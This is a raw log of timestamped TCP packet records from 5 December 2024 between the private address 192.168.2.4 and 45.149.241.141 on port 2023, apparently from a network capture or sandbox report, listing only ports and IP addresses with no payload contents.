Dec 5, 2024 10:46:39.503912926 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.504976988 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.505136967 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.505187035 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.506108999 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.506175995 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.506217003 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.507220030 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.507366896 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.507414103 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.508304119 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.555305958 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.640526056 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.640549898 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.640671968 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.640964031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.641076088 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.641124010 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.642147064 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.642227888 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.642275095 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.643527031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.643584013 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.643635988 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.644757032 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.644768953 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.644831896 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.645724058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.645757914 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.645807028 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.646852016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.646985054 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.647034883 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.647923946 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.648030043 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.648075104 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.649068117 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.649193048 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.649233103 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.650122881 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.650182009 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.650226116 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.651127100 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.651262045 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.651304960 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.652515888 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.652626038 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.652672052 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.653810024 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.653959036 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.654006004 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.655013084 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.655178070 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.655225992 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.656007051 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.656105042 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.656151056 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.656996012 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.657123089 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.657201052 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.657948971 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.658080101 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.658123016 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.658974886 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.659121990 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.659163952 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.660090923 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.660181046 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.660223007 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.661163092 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.661257029 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.661294937 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.662357092 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.662565947 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.662614107 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.663415909 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.663561106 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.663606882 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.664788008 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.665010929 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.665054083 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.665993929 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.666107893 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.666158915 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.666687012 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.666740894 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:39.786818981 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:39.786834955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:54.472196102 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:54.592026949 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:54.592119932 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:54.592331886 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:54.713567019 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:55.836173058 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:55.836191893 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:55.836869001 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:55.907026052 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:56.026870966 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:56.308403969 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:56.310278893 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:56.430041075 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:56.774389029 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:56.777365923 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:56.897036076 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:56.897169113 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.017240047 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.302440882 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.305222034 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.425234079 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.425298929 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.545263052 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.831556082 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.831574917 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.831826925 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.863981009 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.864166975 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.864166975 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.865561008 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.983795881 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.984018087 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.984028101 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.984040976 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.984106064 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.984225988 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.984236002 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.984345913 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.984365940 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.984615088 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.984693050 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.984703064 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.984711885 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.984771967 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.984771967 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.985394955 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.985405922 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.985485077 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.985495090 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:57.985519886 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:57.985622883 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.103780985 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.103909016 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.103919983 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.103948116 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.103970051 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.103981018 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.104051113 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.104172945 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.104300976 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.104410887 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.104496002 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.104588032 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.104680061 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.104825020 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.105279922 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.105421066 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.105432034 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.105442047 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.105447054 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.105554104 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.224052906 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.224339008 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.224378109 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.224642038 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.224652052 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.224694967 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.225018024 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.225297928 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.225337029 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.225415945 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.225425005 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.225457907 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.225481987 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.225503922 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.225589037 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.225598097 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.225630045 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.722003937 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.765985966 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.837287903 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.837372065 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.837435007 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.957282066 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.957298040 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.957318068 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.957328081 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.957341909 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.957353115 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:58.957636118 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.957658052 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.957668066 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:58.957676888 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.077121973 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.368833065 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.381782055 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:59.381886959 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:59.381922960 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:59.382035017 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:59.382070065 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:59.501714945 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.501730919 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.501755953 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.501765966 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.501868963 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.501878977 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.501983881 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.502002954 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.502229929 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.502281904 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.502321005 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.502604961 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.502614975 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.502743006 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.502753019 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.807368994 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:59.859790087 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:00.797697067 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:00.917536020 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:00.917632103 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:01.037441969 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:01.322896957 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:01.323204994 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:01.324243069 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:01.326299906 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:01.326404095 CET	49748	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:01.446185112 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:01.446309090 CET	2023	49748	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:06.328977108 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:06.448971987 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:06.449121952 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:06.449207067 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:06.568933010 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:07.696769953 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:07.696788073 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:07.696911097 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:07.708069086 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:07.827833891 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:08.114856005 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:08.115240097 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:08.235064030 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:08.575793028 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:08.578485012 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:08.698354959 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:08.698432922 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:08.818418026 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.103732109 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.107857943 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.227752924 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.227826118 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.347753048 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.633215904 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.637679100 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.637742996 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.637757063 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.637759924 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.637815952 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.637834072 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.646043062 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.646115065 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.646133900 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.653551102 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.653621912 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.653688908 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.661899090 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.661950111 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.661981106 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.666877031 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.666939020 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.667007923 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.675321102 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.675347090 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.675403118 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.719192982 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.757616997 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.812895060 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.829715967 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.829761028 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.829812050 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.833970070 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.834027052 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.834089041 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.949561119 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.949583054 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:09.949738026 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:09.953706980 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:10.000420094 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.185316086 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.305505991 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.307003975 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.427911997 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.715883017 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.717628956 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.717708111 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.717710972 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.724111080 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.724178076 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.725323915 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.725415945 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.725466967 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.733338118 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.733480930 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.733534098 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.738696098 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.738746881 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.738845110 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.746772051 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.746922016 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.746972084 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.754949093 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.755171061 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.755228043 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.762988091 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.763114929 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.763169050 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.771212101 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.771455050 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.771522045 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.779252052 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.779438019 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.779483080 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.787359953 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.787442923 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.787513018 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.795609951 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.795710087 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.795764923 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.803585052 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.803757906 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.803811073 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.811685085 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.811800003 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.811853886 CET	49778	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:47:12.819772005 CET	2023	49778	45.149.241.141	192.168.2.4
Dec 5, 2024 10:47:12.819828033 CET	2023	49778	45.149.241.141	192.168.2.4
